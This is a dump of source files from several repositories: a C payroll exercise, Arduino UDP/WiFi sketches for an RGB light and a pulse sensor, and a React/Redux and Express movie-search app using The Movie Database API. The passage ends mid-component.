} | bbf3799a7992d10e4af12fe541a10a921af564ec | [
"PHP"
] | 1 | PHP | thephucit/multiple | d9df39900f9d493b7d60eff622c7deafb8f578b4 | 5a4bf6f34231444e35ed56a59df09414fd687f0e |
refs/heads/master | <repo_name>gustavoloaiza/Tareas-en-clase<file_sep>/Tarea en clase 2 gustavo loaiza.c
/******************************************************************************
<NAME>
ejercicio 2
tarifa normal = tn =40
salario bruto= sb
variable 1 tasas de impuestos 500 = ti1
variable 2 tasas de impuestos mas de 500 = ti2
tasa impuestos total= ti
salario neto = sn
horas trabajadas= h
horas extra = he
reductor
*******************************************************************************/
#include <stdio.h>
void main()
{
// creo variables
int h;
float sb=0, ti1=0, ti2=0, ti=0, sn=0;
// pido datos de entrada
printf("ingrese horas trabajadas:\n");
scanf("%i",&h);
// revisa si es mayor a 35 horas y realiza calculo para salario bruto
if(h<=35){
sb=h*40;}
else{
sb=(35*40)+((h-35)*40*1.5);}
// revisa topes para impuestos y calcula impuesto total y salario neto
if(sb>=1000){
ti1=(sb-1000)*0.25;}
if(sb>=1500){
ti2=(sb-1500)*0.20;}
ti=ti1+ti2;
sn=sb-ti;
// imprime resultado
printf("Horas trabajadas: %i\n",h);
printf("Salario Bruto: %.2f\n",sb);
printf("Total impuesto: %.2f\n",ti);
printf("Salario neto: %.2f\n",sn);
}
| 51ca4b4abe76b11489b0b5dd0177b038fc7be40b | [
"C"
] | 1 | C | gustavoloaiza/Tareas-en-clase | f5c6a361629d4984787d1de73b4bb9fe571885e6 | 88bad4a9a6e594c9fd7597de962889bcc235f80f |
refs/heads/master | <repo_name>gjhilton/Systolic<file_sep>/arduino/rxRGBudp/UDPParseMessage.ino
// parse the received message
void serviceUDP(){
int packetSize = Udp.parsePacket();
if(packetSize) {
int len = Udp.read(packetBuffer,255);
if (len >0) packetBuffer[len]=0;
parse();
Udp.beginPacket(Udp.remoteIP(), Udp.remotePort());
Udp.write(ReplyBuffer);
Udp.endPacket();
}
}
void parse(){
String s = packetBuffer;
int firstboundary, secondboundary;
firstboundary = s.indexOf(',');
secondboundary = s.lastIndexOf(',');
if ((firstboundary > 0) && (secondboundary >0) && (firstboundary+1 < secondboundary) && (secondboundary<(s.length()-1))){
// woo
int r = s.substring(0,firstboundary).toInt();
int g = s.substring(firstboundary+1,secondboundary).toInt();
int b = s.substring(secondboundary+1).toInt();
setRGB(r,g,b);
}
}
<file_sep>/arduino/txPulse/UDPParseMessage.ino
// parse the received message
void serviceUDP(){
int packetSize = Udp.parsePacket();
if(packetSize) {
int len = Udp.read(packetBuffer,255);
if (len >0) packetBuffer[len]=0;
Udp.beginPacket(Udp.remoteIP(), Udp.remotePort());
String s = "S";
s += Signal;
s += "\n";
s.toCharArray(ReplyBuffer, 255);
Udp.write(ReplyBuffer);
Udp.endPacket();
Serial.println(s);
}
}
<file_sep>/arduino/rxRGBudp/UDP.ino
/////////////////////////////////////////////////////////////////////////////////////////////////
// NETWORK CONFIGURATION
////////////////////////////////////////////////////////////////////////////////////////////////
char ssid[] = "gabbatron";
char pass[] = "----------";
int keyIndex = 1;
/////////////////////////////////////////////////////////////////////////////////////////////////
// GLOBALS - WIFI
////////////////////////////////////////////////////////////////////////////////////////////////
int status = WL_IDLE_STATUS;
WiFiUDP Udp;
char packetBuffer[255];
char ReplyBuffer[] = "ack";
/////////////////////////////////////////////////////////////////////////////////////////////////
// WIFI / UDP LIBRARY FUNCTIONS
////////////////////////////////////////////////////////////////////////////////////////////////
void connectToNetwork(){
// check for the presence of the shield:
if (WiFi.status() == WL_NO_SHIELD) {
Serial.println("WiFi shield not present");
// don't continue:
while(true);
}
WiFi.config(myStaticIP);
// attempt to connect to Wifi network:
while ( status != WL_CONNECTED) {
Serial.print("Attempting to connect to SSID: ");
Serial.println(ssid);
status = WiFi.begin(ssid,1, pass);
// wait 10 seconds for connection:
delay(10000);
}
Serial.println("Connected to wifi");
printWifiStatus();
Serial.print("\nListening on port ");
Serial.println(myStaticIP);
Udp.begin(listenPort);
}
void printWifiStatus() {
// print the SSID of the network you're attached to:
Serial.print("SSID: ");
Serial.println(WiFi.SSID());
// print your WiFi shield's IP address:
IPAddress ip = WiFi.localIP();
Serial.print("IP Address: ");
Serial.println(ip);
// print the received signal strength:
long rssi = WiFi.RSSI();
Serial.print("signal strength (RSSI):");
Serial.print(rssi);
Serial.println(" dBm");
}
| f9400bd51ff51812bda2b12e99156c547d5a809f | [
"C++"
] | 3 | C++ | gjhilton/Systolic | 6a9a141171804b9bc66ee639b4d6b85c319d2029 | f267040f50cae9872cb6e17a3194f65298c0b577 |
refs/heads/master | <file_sep>import {
FETCH_PAGES_REQUEST,
FETCH_PAGES_FAILURE,
FETCH_MOVIES_START_SUCCESS,
START_AND_STOP_SEARCH,
STOP_SEARCH,
CLEAR_ERRORS,
ADD_GENRE,
ADD_MOVIE_TITLE,
CHECK_MOVIE_TITLE,
CHECK_MOVIE_GENRE,
ADD_RELEASE_YEAR,
ADD_TEMP_MOVIE_TITLE,
ADD_PREVIOUS_STATE_GENRE
} from "./types.js";
export const initialSearch = () => (dispatch, getState) => {
let problem = 0;
if (
getState().isChecked.movieTitleChecked &&
getState().isChecked.movieGenreChecked === false
) {
dispatch({ type: CLEAR_ERRORS });
dispatch({
type: FETCH_PAGES_REQUEST,
payload: fetch("/search/standard", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
Accept: "application/json"
},
body: `page=1&title=${
getState().changeTitle.title
}&genre=${getState().changeGenre.genre.join()}&year=${
getState().changeYear.year
}`
})
.then(data => {
if (data.status === 400) {
problem = 1;
dispatch({ type: STOP_SEARCH, payload: 1 });
}
return data.json();
})
.then(data => {
if (problem === 1 && data.title !== undefined) {
dispatch({
type: ADD_MOVIE_TITLE,
payload: getState().changeTitle.tempTitle
});
throw data;
} else if (problem === 1 && data.genre !== undefined) {
throw data;
} else {
dispatch({ type: START_AND_STOP_SEARCH, payload: 0 });
dispatch({
type: ADD_TEMP_MOVIE_TITLE,
payload: getState().changeTitle.title
});
dispatch({ type: ADD_PREVIOUS_STATE_GENRE });
}
dispatch({
type: FETCH_MOVIES_START_SUCCESS,
payload: data
});
})
.catch(err => {
dispatch({ type: FETCH_PAGES_FAILURE, payload: err });
})
});
} else if (
getState().isChecked.movieTitleChecked === false &&
getState().isChecked.movieGenreChecked
) {
let problem = 0;
dispatch({ type: CLEAR_ERRORS });
dispatch({
type: FETCH_PAGES_REQUEST,
payload: fetch("/search/title-contain-genre-specific", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
Accept: "application/json"
},
body: `page=1&title=${
getState().changeTitle.title
}&genre=${getState().changeGenre.genre.join()}&year=${
getState().changeYear.year
}`
})
.then(data => {
if (data.status === 400) {
problem = 1;
dispatch({ type: STOP_SEARCH, payload: 1 });
}
return data.json();
})
.then(data => {
if (problem === 1 && data.title !== undefined) {
dispatch({
type: ADD_MOVIE_TITLE,
payload: getState().changeTitle.tempTitle
});
throw data;
} else if (problem === 1 && data.genre !== undefined) {
throw data;
} else {
dispatch({ type: START_AND_STOP_SEARCH, payload: 0 });
dispatch({
type: ADD_TEMP_MOVIE_TITLE,
payload: getState().changeTitle.title
});
dispatch({ type: ADD_PREVIOUS_STATE_GENRE });
}
dispatch({
type: FETCH_MOVIES_START_SUCCESS,
payload: data
});
})
.catch(err => {
dispatch({ type: FETCH_PAGES_FAILURE, payload: err });
})
});
} else if (
getState().isChecked.movieTitleChecked &&
getState().isChecked.movieGenreChecked
) {
let problem = 0;
dispatch({ type: CLEAR_ERRORS });
dispatch({
type: FETCH_PAGES_REQUEST,
payload: fetch("/search/genre-specific", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
Accept: "application/json"
},
body: `page=1&title=${
getState().changeTitle.title
}&genre=${getState().changeGenre.genre.join()}&year=${
getState().changeYear.year
}`
})
.then(data => {
if (data.status === 400) {
problem = 1;
dispatch({ type: STOP_SEARCH, payload: 1 });
}
return data.json();
})
.then(data => {
if (problem === 1 && data.title !== undefined) {
dispatch({
type: ADD_MOVIE_TITLE,
payload: getState().changeTitle.tempTitle
});
throw data;
} else if (problem === 1 && data.genre !== undefined) {
throw data;
} else {
dispatch({ type: START_AND_STOP_SEARCH, payload: 0 });
dispatch({
type: ADD_TEMP_MOVIE_TITLE,
payload: getState().changeTitle.title
});
dispatch({ type: ADD_PREVIOUS_STATE_GENRE });
}
dispatch({
type: FETCH_MOVIES_START_SUCCESS,
payload: data
});
})
.catch(err => {
dispatch({ type: FETCH_PAGES_FAILURE, payload: err });
})
});
} else if (
getState().isChecked.movieTitleChecked === false &&
getState().isChecked.movieGenreChecked === false
) {
let problem = 0;
dispatch({ type: CLEAR_ERRORS });
dispatch({
type: FETCH_PAGES_REQUEST,
payload: fetch("/search/title-contain", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
Accept: "application/json"
},
body: `page=1&title=${
getState().changeTitle.title
}&genre=${getState().changeGenre.genre.join()}&year=${
getState().changeYear.year
}`
})
.then(data => {
if (data.status === 400) {
problem = 1;
dispatch({ type: STOP_SEARCH, payload: 1 });
}
return data.json();
})
.then(data => {
if (problem === 1 && data.title !== undefined) {
dispatch({
type: ADD_MOVIE_TITLE,
payload: getState().changeTitle.tempTitle
});
throw data;
} else if (problem === 1 && data.genre !== undefined) {
throw data;
} else {
dispatch({ type: START_AND_STOP_SEARCH, payload: 0 });
dispatch({
type: ADD_TEMP_MOVIE_TITLE,
payload: getState().changeTitle.title
});
dispatch({ type: ADD_PREVIOUS_STATE_GENRE });
}
dispatch({
type: FETCH_MOVIES_START_SUCCESS,
payload: data
});
})
.catch(err => {
dispatch({ type: FETCH_PAGES_FAILURE, payload: err });
})
});
}
};
export const startSearch = (title, year) => (dispatch, getState) => {
dispatch({ type: ADD_GENRE });
dispatch({ type: ADD_MOVIE_TITLE, payload: title });
dispatch({ type: CHECK_MOVIE_TITLE });
dispatch({ type: CHECK_MOVIE_GENRE });
dispatch({ type: ADD_RELEASE_YEAR, payload: year });
dispatch(initialSearch());
};
<file_sep>import {
SWITCH_PAGE,
USE_PREVIOUS_STATE_GENRE,
SET_MOVIE_LENGTH
} from "./types.js";
import { pageNumbersRegex } from "../pageNumbersRegex.js";
export const changePage = e => (dispatch, getState) => {
if (getState().searchMovies.pageNumber.includes(e + 1)) {
dispatch({
type: SWITCH_PAGE,
payload: {
data: getState().searchMovies.movieData.filter((items, index) => {
return pageNumbersRegex[e].test(index);
}),
imageData: getState().searchMovies.movieImages.filter(
(items, index) => {
return pageNumbersRegex[e].test(index);
}
),
number: e
}
});
} else if (getState().searchMovies.startAndStopSearch !== 1) {
dispatch({
type: SWITCH_PAGE,
payload: {
data: [],
imageData: [],
number: e
}
});
dispatch({ type: USE_PREVIOUS_STATE_GENRE });
dispatch({ type: SET_MOVIE_LENGTH });
} else {
dispatch({
type: SWITCH_PAGE,
payload: {
data: getState().searchMovies.movieData.filter((items, index) => {
return pageNumbersRegex[e].test(index);
}),
imageData: getState().searchMovies.movieImages.filter(
(items, index) => {
return pageNumbersRegex[e].test(index);
}
),
number: e
}
});
}
};
<file_sep>import React, { Component } from "react";
import genreIds from "./../movieGenres.js";
class SingleMovieResult extends Component {
componentDidMount = () => {
document
.querySelector(".SingleMovieResult-container")
.style.setProperty("top", `${this.props.mouseY}px`);
};
render() {
return (
<div id="SingleMovieResult" className="SingleMovieResult-container">
<h3 className="SingleMovieResult-title">{this.props.title}</h3>
<img
className="SingleMovieResult-image"
src={this.props.poster}
alt="movie"
/>
<p className="SingleMovieResult-genre">
{this.props.genre
.split(",")
.map(genres => {
return (genres = Object.keys(genreIds).filter(
(key, index, originalArray) => {
if (Object.values(genreIds)[index] === Number(genres)) {
return key;
} else {
return false;
}
}
));
})
.join(", ")}
</p>
{Object.entries(this.props.movieData).map(([key, value], index) => {
return (
<div
key={`${this.props.id}-${index}`}
className="SingleMovieResult-individual_entries"
>
<span>{`${key}:`}</span> <span>{value}</span>
</div>
);
})}
<p className="SingleMovieResult-overview">{this.props.overview}</p>
</div>
);
}
}
export default SingleMovieResult;
<file_sep>const validation = (title, genre, year, page) => {
const errors = { noErrors: true };
titleRegex = /^[a-zA-Z0-9&_,:!?'*-\.\s]*$/;
genreRegex = /^[a-zA-Z,\s]+$/;
pageRegex = /^[0-9]+$/;
yearRegex = /^[0-9]+$/;
genreTooManyRegex = /[a-zA-z\s]+,[a-zA-z\s]+,[a-zA-z\s]+,[a-zA-z\s]+/;
if (typeof title !== "string") {
errors.title = "This is not a string.";
errors.noErrors = false;
} else if (titleRegex.test(title) !== true) {
errors.title = "Certain character/s not allowed.";
errors.noErrors = false;
} else if (title.length <= 0) {
errors.title = "You sent nothing. Try again.";
errors.noErrors = false;
} else if (title.length >= 50) {
errors.title = "Title can be no longer than 50 characters.";
errors.noErrors = false;
}
if (typeof genre !== "string") {
errors.genre = "This is not a string.";
errors.noErrors = false;
} else if (genre.length === 0) {
} else if (genreRegex.test(genre) !== true) {
errors.genre = "Certain character/s not allowed.";
errors.noErrors = false;
} else if (genre.length <= 0) {
errors.genre = "You sent nothing. Try again.";
errors.noErrors = false;
} else if (genreTooManyRegex.test(genre) === true) {
errors.genre = "Three genres max.";
errors.noErrors = false;
} else if (genre.length > 50) {
errors.genre = "Genre list too long.";
errors.noErrors = false;
}
if (typeof page !== "number") {
errors.page = "This is not a number.";
errors.noErrors = false;
} else if (pageRegex.test(page) !== true) {
errors.page = "Numbers only.";
errors.noErrors = false;
} else if (page < 0) {
errors.page = "Below 0? Try again.";
errors.noErrors = false;
} else if (page >= 2000) {
errors.page = "You've reached the limit. Restart search.";
errors.noErrors = false;
}
if (typeof year !== "number") {
errors.year = "This is not a number.";
errors.noErrors = false;
} else if (yearRegex.test(year) !== true) {
errors.year = "Numbers only.";
errors.noErrors = false;
} else if (year !== 0 && year !== 19 && year !== 20) {
errors.year = "Not a valid year. Try again.";
errors.noErrors = false;
}
return errors;
};
module.exports = validation;
<file_sep>const randomTitles = {
0: "A",
1: "B",
2: "C",
3: "G",
4: "H",
5: "I",
6: "K",
7: "L",
8: "M",
9: "O",
10: "P",
11: "Q",
12: "R",
13: "The",
14: "He",
15: "We"
};
module.exports = randomTitles;
<file_sep>const express = require("express");
const router = express.Router();
const fetch = require("node-fetch");
const genreIds = require("../client/src/movieGenres");
const validation = require("./../validation/searchInput");
const randomTitles = require("../randomTitles");
const theMovieDbBaseUrl =
"https://api.themoviedb.org/3/search/movie?language=en-US";
//Get request for a movie search using filters such as title, release year, and genre.
//This request makes it so the search will display titles that START with the string supplied by the user
//This request makes it so the search will display the genres supplied by the user ALONG with additional genres if they are included
router.post("/standard", (req, res) => {
let count = 0;
if (req.body.title === "") {
var newTitle = randomTitles[Math.floor(Math.random() * 16)];
} else {
var newTitle = req.body.title;
}
let errors = validation(
newTitle,
req.body.genre,
Number(req.body.year),
Number(req.body.page)
);
if (errors.noErrors !== true) {
return res.status(400).send(errors);
}
if (req.body.genre.length === 0) {
var genreArray = null;
} else {
var genreArray = req.body.genre.split(",");
}
fetch(
theMovieDbBaseUrl +
`&api_key=${process.env.TMDB_API_KEY}&page=${
req.body.page
}&query=${newTitle}`
)
.then(data => {
return data.text();
})
.then(data => {
return JSON.parse(data);
})
.then(data => {
let titleRegex = new RegExp("^(" + newTitle + ")+", "i");
let totalPages = data.total_pages;
let totalResults = data.total_results;
let currentPage = data.page;
if (data.results == undefined) {
return res.send({
currentPage,
total_results: totalResults,
total_pages: totalPages,
data: {}
});
}
let titleFilteredData = data.results.filter(movie => {
return titleRegex.test(movie.title);
});
if (genreArray === null) {
var genreFilteredData = titleFilteredData.filter((movie, index) => {
if (movie.genre_ids.length === 0) {
return false;
} else {
return true;
}
});
} else {
var genreFilteredData = titleFilteredData.filter((movie, index) => {
count = 0;
genreArray.forEach(genre => {
if (movie.genre_ids.length === 0) {
count = -1;
} else if (movie.genre_ids.includes(genreIds[genre])) {
count++;
}
});
return count === genreArray.length;
});
}
if (req.body.year == 0) {
var yearRegex = new RegExp("[0-9]+", "gm");
} else {
var yearRegex = new RegExp(
`${req.body.year}[0-9]{2}-[0-9]{2}-[0-9]{2}`,
"gm"
);
}
if (req.body.year === 0) {
var dataToReturn = Array.from(genreFilteredData);
} else {
var dataToReturn = genreFilteredData.filter(movie => {
return yearRegex.test(movie.release_date) === true;
});
}
return res.send({
currentPage,
total_results: totalResults,
total_pages: totalPages,
data: dataToReturn
});
})
.catch(err => {
return res.send(err);
});
//}
});
//Get request for a movie search using filters such as title, release year, and genre.
//This request makes it so the search will display titles that CONTAIN the string supplied by the user
//This request makes it so the search will display the genres supplied by the user ALONG with additional genres if they are included
router.post("/title-contain", (req, res) => {
let count = 0;
if (req.body.title === "") {
var newTitle = randomTitles[Math.floor(Math.random() * 16)];
} else {
var newTitle = req.body.title;
}
let errors = validation(
newTitle,
req.body.genre,
Number(req.body.year),
Number(req.body.page)
);
if (errors.noErrors !== true) {
return res.status(400).send(errors);
}
if (req.body.genre.length === 0) {
var genreArray = null;
} else {
var genreArray = req.body.genre.split(",");
}
fetch(
theMovieDbBaseUrl +
`&api_key=${process.env.TMDB_API_KEY}&page=${
req.body.page
}&query=${newTitle}`
)
.then(data => {
return data.text();
})
.then(data => {
return JSON.parse(data);
})
.then(data => {
let titleRegex = new RegExp("(" + newTitle + ")+", "i");
let totalPages = data.total_pages;
let totalResults = data.total_results;
let currentPage = data.page;
if (data.results == undefined) {
return res.send({
currentPage,
total_results: totalResults,
total_pages: totalPages,
data: {}
});
}
let titleFilteredData = data.results.filter(movie => {
return titleRegex.test(movie.title);
});
if (genreArray === null) {
var genreFilteredData = titleFilteredData.filter((movie, index) => {
if (movie.genre_ids.length === 0) {
return false;
} else {
return true;
}
});
} else {
var genreFilteredData = titleFilteredData.filter((movie, index) => {
count = 0;
genreArray.forEach(genre => {
if (movie.genre_ids.length === 0) {
count = -1;
} else if (movie.genre_ids.includes(genreIds[genre])) {
count++;
}
});
return count === genreArray.length;
});
}
if (req.body.year == 0) {
var yearRegex = new RegExp("[0-9]+", "gm");
} else {
var yearRegex = new RegExp(
`${req.body.year}[0-9]{2}-[0-9]{2}-[0-9]{2}`,
"gm"
);
}
let dataToReturn = genreFilteredData.filter(movie => {
return yearRegex.test(movie.release_date) === true;
});
return res.send({
currentPage,
total_results: totalResults,
total_pages: totalPages,
data: dataToReturn
});
})
.catch(err => {
return res.send(err);
});
});
//Get request for a movie search using filters such as title, release year, and genre.
//This request makes it so the search will display titles that START with the string supplied by the user
//This request makes it so the search will display the movies with the genres that are supplied by the user that have NO additional genres
router.post("/genre-specific", (req, res) => {
let count = 0;
if (req.body.title === "") {
var newTitle = randomTitles[Math.floor(Math.random() * 16)];
} else {
var newTitle = req.body.title;
}
let errors = validation(
newTitle,
req.body.genre,
Number(req.body.year),
Number(req.body.page)
);
if (errors.noErrors !== true) {
return res.status(400).send(errors);
}
if (req.body.genre.length === 0) {
var genreArray = null;
} else {
var genreArray = req.body.genre.split(",");
}
fetch(
theMovieDbBaseUrl +
`&api_key=${process.env.TMDB_API_KEY}&page=${
req.body.page
}&query=${newTitle}`
)
.then(data => {
return data.text();
})
.then(data => {
return JSON.parse(data);
})
.then(data => {
let titleRegex = new RegExp("^(" + newTitle + ")+", "i");
let totalPages = data.total_pages;
let totalResults = data.total_results;
let currentPage = data.page;
if (data.results == undefined) {
return res.send({
currentPage,
total_results: totalResults,
total_pages: totalPages,
data: {}
});
}
let titleFilteredData = data.results.filter(movie => {
return titleRegex.test(movie.title);
});
if (genreArray === null) {
var genreFilteredData = titleFilteredData.filter((movie, index) => {
if (movie.genre_ids.length === 0) {
return false;
} else {
return true;
}
});
} else {
var genreFilteredData = titleFilteredData.filter((movie, index) => {
count = 0;
genreArray.forEach(genre => {
if (movie.genre_ids.length === 0) {
count = -1;
} else if (movie.genre_ids.includes(genreIds[genre])) {
count++;
}
});
return (
count === genreArray.length &&
movie.genre_ids.length === genreArray.length
);
});
}
if (req.body.year === 0) {
var yearRegex = new RegExp("[0-9]+", "gm");
} else {
var yearRegex = new RegExp(
`${req.body.year}[0-9]{2}-[0-9]{2}-[0-9]{2}`,
"gm"
);
}
let dataToReturn = genreFilteredData.filter(movie => {
return yearRegex.test(movie.release_date) === true;
});
return res.send({
currentPage,
total_results: totalResults,
total_pages: totalPages,
data: dataToReturn
});
})
.catch(err => {
return res.send(err);
});
});
//Get request for a movie search using filters such as title, release year, and genre.
//This request makes it so the search will display titles that START with the string supplied by the user
//This request makes it so the search will display the movies with the genres that are supplied by the user that have NO additional genres
router.post("/title-contain-genre-specific", (req, res) => {
let count = 0;
if (req.body.title === "") {
var newTitle = randomTitles[Math.floor(Math.random() * 16)];
} else {
var newTitle = req.body.title;
}
let errors = validation(
newTitle,
req.body.genre,
Number(req.body.year),
Number(req.body.page)
);
if (errors.noErrors !== true) {
return res.status(400).send(errors);
}
if (req.body.genre.length === 0) {
var genreArray = null;
} else {
var genreArray = req.body.genre.split(",");
}
fetch(
theMovieDbBaseUrl +
`&api_key=${process.env.TMDB_API_KEY}&page=${
req.body.page
}&query=${newTitle}`
)
.then(data => {
return data.text();
})
.then(data => {
return JSON.parse(data);
})
.then(data => {
let titleRegex = new RegExp("(" + newTitle + ")+", "i");
let totalPages = data.total_pages;
let totalResults = data.total_results;
let currentPage = data.page;
if (data.results == undefined) {
return res.send({
currentPage,
total_results: totalResults,
total_pages: totalPages,
data: {}
});
}
let titleFilteredData = data.results.filter(movie => {
return titleRegex.test(movie.title);
});
if (genreArray === null) {
var genreFilteredData = titleFilteredData.filter((movie, index) => {
if (movie.genre_ids.length === 0) {
return false;
} else {
return true;
}
});
} else {
var genreFilteredData = titleFilteredData.filter((movie, index) => {
count = 0;
genreArray.forEach(genre => {
if (movie.genre_ids.length === 0) {
count = -1;
} else if (movie.genre_ids.includes(genreIds[genre])) {
count++;
}
});
return (
count === genreArray.length &&
movie.genre_ids.length === genreArray.length
);
});
}
if (req.body.year === 0) {
var yearRegex = new RegExp("[0-9]+", "gm");
} else {
var yearRegex = new RegExp(
`${req.body.year}[0-9]{2}-[0-9]{2}-[0-9]{2}`,
"gm"
);
}
let dataToReturn = genreFilteredData.filter(movie => {
return yearRegex.test(movie.release_date) === true;
});
return res.send({
currentPage,
total_results: totalResults,
total_pages: totalPages,
data: dataToReturn
});
})
.catch(err => {
return res.send(err);
});
});
const theMovieDbBaseImageUrl = "https://image.tmdb.org/t/p/w200/";
router.post("/image", (req, res) => {
fetch(theMovieDbBaseImageUrl + `${req.body.imagePath}`)
.then(data => res.send(data))
.catch(err => {
return res.send(err);
});
});
module.exports = router;
<file_sep>import {
TEMP_CHECK_MOVIE_GENRE,
TEMP_CHECK_MOVIE_TITLE
} from "./types.js";
export const isChecked = e => dispatch => {
if (e.target.value === "title") {
dispatch({
type: TEMP_CHECK_MOVIE_TITLE
});
} else if (e.target.value === "genre") {
dispatch({
type: TEMP_CHECK_MOVIE_GENRE
});
}
};
<file_sep>import { ADD_RELEASE_YEAR, ADD_TEMP_RELEASE_YEAR } from "../actions/types.js";
const initialState = {
year: 0,
tempYear: 0
};
export default function(state = initialState, action) {
switch (action.type) {
case ADD_RELEASE_YEAR:
return {
...state,
year: action.payload
};
case ADD_TEMP_RELEASE_YEAR: {
return {
...state,
tempYear: state.tempYear - state.tempYear + action.payload
};
}
default:
return state;
}
}
<file_sep>export const ADD_GENRE = "ADD_GENRE";
export const DELETE_GENRE = "DELETE_GENRE";
export const ADD_TEMP_GENRE = "ADD_TEMP_GENRE";
export const DELETE_TEMP_GENRE = "DELETE_TEMP_GENRE";
export const ADD_PREVIOUS_STATE_GENRE = "ADD_PREVIOUS_STATE_GENRE";
export const USE_PREVIOUS_STATE_GENRE = "USE_PREVIOUS_STATE_GENRE";
export const ADD_RELEASE_YEAR = "ADD_RELEASE_YEAR";
export const ADD_TEMP_RELEASE_YEAR = "ADD_TEMP_RELEASE_YEAR";
export const ADD_MOVIE_TITLE = "ADD_MOVIE_TITLE";
export const ADD_TEMP_MOVIE_TITLE = "ADD_TEMP_MOVIE_TITLE";
export const CHECK_MOVIE_TITLE = "CHECK_MOVIE_TITLE";
export const CHECK_MOVIE_GENRE = "CHECK_MOVIE_GENRE";
export const TEMP_CHECK_MOVIE_TITLE = "TEMP_CHECK_MOVIE_TITLE";
export const TEMP_CHECK_MOVIE_GENRE = "TEMP_CHECK_MOVIE_GENRE";
export const ADD_PAGE = "ADD_PAGE";
export const SHOW_MOVIES = "SHOW_MOVIES";
export const SWITCH_PAGE = "SWITCH_PAGE";
export const START_AND_STOP_SEARCH = "STOP_AND_START_SEARCH";
export const STOP_SEARCH = "STOP_SEARCH";
export const CLEAR_ERRORS = "CLEAR_ERRORS";
export const SET_MOVIE_LENGTH = "SET_MOVIE_LENGTH";
export const FETCH_MOVIES_REQUEST = "FETCH_MOVIES_REQUEST";
export const FETCH_MOVIES_SUCCESS = "FETCH_MOVIES_SUCCESS";
export const FETCH_MOVIES_START_SUCCESS = "FETCH_MOVIES_START_SUCCESS";
export const FETCH_MOVIES_FAILURE = "FETCH_MOVIES_FAILURE";
export const FETCH_IMAGES_SUCCESS = "FETCH_IMAGES_SUCCESS";
export const FETCH_PAGES_REQUEST = "FETCH_PAGES_REQUEST";
export const FETCH_PAGES_SUCCESS = "FETCH_PAGES_SUCCESS";
export const FETCH_PAGES_FAILURE = "FETCH_PAGES_FAILURE";
<file_sep>import { ADD_TEMP_MOVIE_TITLE } from "./types.js";
export const changeTitle = e => dispatch => {
dispatch({
type: ADD_TEMP_MOVIE_TITLE,
payload: e.target.value
});
};
<file_sep>import React from "react";
export default function pageNumbers(props) {
if (
!(props.movieResultsLength >= 12) &&
props.currentApiPage !== props.totalPages &&
props.startAndStopSearch !== 1
) {
return (
<div className="pageNumbers_container">
<p className="pageNumbers_individual_numbers">
{props.numbers
.filter(numbers => numbers !== null)
.map((realNumbers, index) => {
return (
<span
key={index}
id={`pageNumber-${index + 1}`}
className="pageNumbers_real_numbers"
>
{realNumbers}
</span>
);
})}
</p>
</div>
);
} else {
return (
<div className="pageNumbers_container">
<p className="pageNumbers_individual_numbers">
{props.numbers
.filter(numbers => numbers !== null)
.map((realNumbers, index) => {
return (
<span
key={index}
id={`pageNumber-${index + 1}`}
className="pageNumbers_real_numbers"
onClick={props.handleNumberClick}
>
{realNumbers}
</span>
);
})}
</p>
</div>
);
}
}
<file_sep># MoviesForEveryone
**Created using React, Redux, and Express.js**
https://moviesforeveryone.herokuapp.com/
Website for searching for movies that you may want to watch based off the filters that you set! Click on each movie to see more information about it!
If you want to use this project and add more code to it, then you'll need to create a .env file with the following structure:
<Code>TMDB_API_KEY="API key from The Movie Database API (TMDb)"</Code>
You can get your own key from them on their website -> https://<span></span>developers.themoviedb.org/3/getting-started/introduction
Licenced under the MIT License -> https://opensource.org/licenses/MIT
<file_sep>import React from "react";
export default function titleContain(props) {
return (
<div className="titleContain_container">
<input
id="title-checkbox"
type="checkbox"
onClick={props.handleCheck}
value="title"
/>
<span className="titleContain_text">
Show movies that BEGIN with the name above
</span>
</div>
);
}
<file_sep>import React from "react";
export default function filter(props) {
return (
<div className="filter_container">
<button onClick={props.handleFilter} className="filter_button">Filter</button>
</div>
);
}<file_sep>import React, { Component } from "react";
import genreIds from "../movieGenres.js";
import SingleMovieResult from "./singleMovieResult.js";
class movieResults extends Component {
componentDidUpdate = (prevProps, prevState) => {
if (
this.props.movieResultsLength >= 12 &&
prevProps.movieResultsLength < 12
) {
this.setState({ loadingToLong: 0 });
clearTimeout(this.state.timeoutVariable);
this.setState({ timeoutVariable: null });
} else if (
this.props.movieResultsLength < 12 &&
prevProps.movieResultsLength >= 12
) {
this.setState({
timeoutVariable: setTimeout(() => {
this.setState({ loadingToLong: 1 });
}, 12000)
});
}
if (
prevProps.startAndStopSearch === 0 &&
this.props.startAndStopSearch === 1
) {
clearTimeout(this.state.timeoutVariable);
this.setState({ loadingToLong: 0, timeoutVariable: null });
}
if (this.state.toggle === true && prevState.toggle === false) {
this.props.appReference.addEventListener("click", this.listen, false);
} else if (this.state.toggle === false && prevState.toggle === true) {
this.props.appReference.removeEventListener("click", this.listen, false);
}
};
state = {
loadingToLong: 0,
timeoutVariable: null,
movieData: null,
id: null,
Title: null,
Poster: null,
MouseY: 0,
toggle: false
};
quitSearch = () => {
this.props.cancelSearch(1);
};
listen = () => {
this.setState({ toggle: false });
};
setMovieId = (
id,
title,
genre,
overview,
release_date,
vote_average,
vote_count,
image,
mouseY
) => {
this.setState({
id: id,
Title: title,
Poster: image,
Genre: genre,
movieData: {
"Release date": release_date,
"Average Score (0-10)": vote_average,
"Amount of Scores": vote_count
},
Overview: overview,
mouseY: mouseY,
toggle: this.state.toggle === false ? true : false
});
};
render() {
if (
!(this.props.movieResultsLength >= 12) &&
this.props.currentApiPage !== this.props.totalPages &&
this.props.startAndStopSearch !== 1
) {
return (
<div className="movieResults_container">
<div className="movieResults-loading_container">
<i className="fas fa-spinner fa-spin" />
<h2>Loading</h2>
<p>{this.props.movieResultsLength} results</p>
{this.state.loadingToLong === 1 ? (
<div>
<p className="movieResults-loading_statement">
You can always:
</p>
<div
className="movieResults-stop_searching"
onClick={() => {
this.quitSearch();
}}
>
Quit the search and show results now
</div>
</div>
) : null}{" "}
</div>
</div>
);
} else if (
this.props.movieResultsLength === 12 &&
this.props.currentApiPage === this.props.totalPages &&
this.props.movieData.length === 0
) {
return (
<div className="movieResults_container">
<div className="movieResults-loading_container">
<h1 className="movieResults-loading_statement">No Results</h1>
</div>
</div>
);
} else {
return (
<div className="movieResults_container">
{this.props.results
.slice(this.props.limitNumber - 11, this.props.limitNumber + 1)
.map((result, index) => {
